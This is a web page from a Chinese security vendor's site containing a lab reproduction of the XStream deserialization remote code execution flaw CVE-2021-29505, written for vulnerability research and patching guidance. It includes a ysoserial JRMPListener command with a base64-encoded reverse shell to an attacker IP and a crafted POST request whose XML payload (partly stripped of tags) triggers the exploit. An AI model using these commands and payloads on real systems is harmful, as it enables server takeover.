提交需求
*
*

*
*
*
立即提交
点击”立即提交”，表明我理解并同意 《美创科技隐私条款》
免费试用
400-811-3777

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创
    申请试用
      热门阅读
      1

      数字医学与健康大会DMHC——美创与您相约古都金陵

      2025-08-12

       2

      美创科技打造县域医疗灾备新标杆｜神木市医院 HIS 系统数据库分钟级切换演练实录

      2025-07-02

       3

      百万罚单警示！DCAS助力金融机构筑牢数据安全防线，实现监管合规

      2025-06-20

       4

      2025中国互联网产业年会丨《中国互联网产业绿色算力发展倡议》正式发布

      2025-02-07

       5

      美创用户专访 | 精细化管理：医疗行业数据分类分级的策略与实践

      2025-01-10
      相关文章

      每周安全速递³⁵⁷ | 研究人员披露DireWolf勒索组织

      2025-09-08

      每周安全速递³⁵⁶ | Anthropic阻止AI驱动勒索攻击

      2025-09-01

      每周安全速递³⁵⁵ | Crypto24勒索软件研发定制EDR规避工具

      2025-08-25

      每周安全速递³⁵⁴ | Charon勒索软件攻击中东公共与航空部门

      2025-08-25

      CNVD漏洞周报2025年第29期

      2025-08-11
      Xstream远程代码执行漏洞复现
      发布时间：2021-06-18 阅读次数： 240 次

      XStream是一个常用的Java对象和XML相互转换的工具，攻击者通过构造恶意的XML文档，可绕过XStream的黑名单，触发反序列化，从而造成反序列化代码执行漏洞。该漏洞允许远程攻击者直接获取服务器权限。


      漏洞编号

      CVE-2021-29505


      影响范围


      xStream <= 1.4.16


      环境搭建


      1. 使用vulhub进行漏洞环境搭建


      https://raw.githubusercontent.com/vulhub/vulhub/master/xstream/CVE-2021-29505/docker-compose.yml


      2.执行如下命令启动镜像环境


      docker-compose up -d


      图片


      3. 访问地址：http://192.168.166.133:8080/


      图片

      漏洞复现


      攻击机ip：192.168.166.131

      靶机ip：192.168.166.133


      1.在攻击机上使用ysoserial的JRMPListener启动一个恶意的RMI Registry（工具下载地址：https://github.com/frohoff/ysoserial）。其中的bash命令需要进行bash64编码。


      图片


      2.Bash64编码后的反弹shell命令如下


      java -cp ysoserial-master.jarysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xNjYuMTMxLzIzMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"


      3.执行过程如下


      图片


      4.执行如下数据包


      POST / HTTP/1.1

      Host:192.168.166.133:8080

      User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101Firefox/88.0

      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

      Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

      Connection:keep-alive

      Upgrade-Insecure-Requests:1

      Content-Type:application/xml

      Content-Length:3119


         

         

             

                 2

             

             3

             

                 12345

                 

                     com.sun.xml.internal.ws.api.message.Packet@2002fc1dContent

                 

             

             

                 12345

                 

                     

                        true

                        SOAP_11

                         

                         

                            false

                             

                                 

                                     

                                       

                                            aa

                                            aa

                                       

                                         

                                           

                                           

                                               

                                                     UnicastRef

                                                    192.168.166.131

                                                    1099

                                                     0

                                                    0

                                                    0

                                                    0

                                                    false

                                               

                                           

                                            192.168.166.131

                                             1099

                                       

                                   

                                 

                             

                         

                     

                 

           

         


      图片


      5. 获取反弹shell


      图片


      修复建议


      升级XStream到1.4.17版本及以上版本。

      上一条：shiro漏洞复现
      下一条：美国核武器承包商遭勒索软件攻击，部分数据泄露
      返回
      关注或联系美创
      官方订阅号 官方订阅号
      官方服务号 官方服务号
      第59号 第59号
      服务热线：400-811-3777
      商务合作：marketing@mchz.com.cn
      友情链接 中央网信办 公安部 工信部 CNCERT 中国信通院 中国软件测评中心 国家工业信息安全发展研究中心 赛迪研究院
      Copyright © 2024 杭州美创科技股份有限公司 All rights reserved.
      浙公网安备 33010502006954号 浙ICP备12021012号-1 网站地图 网站声明及隐私保护政策
      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部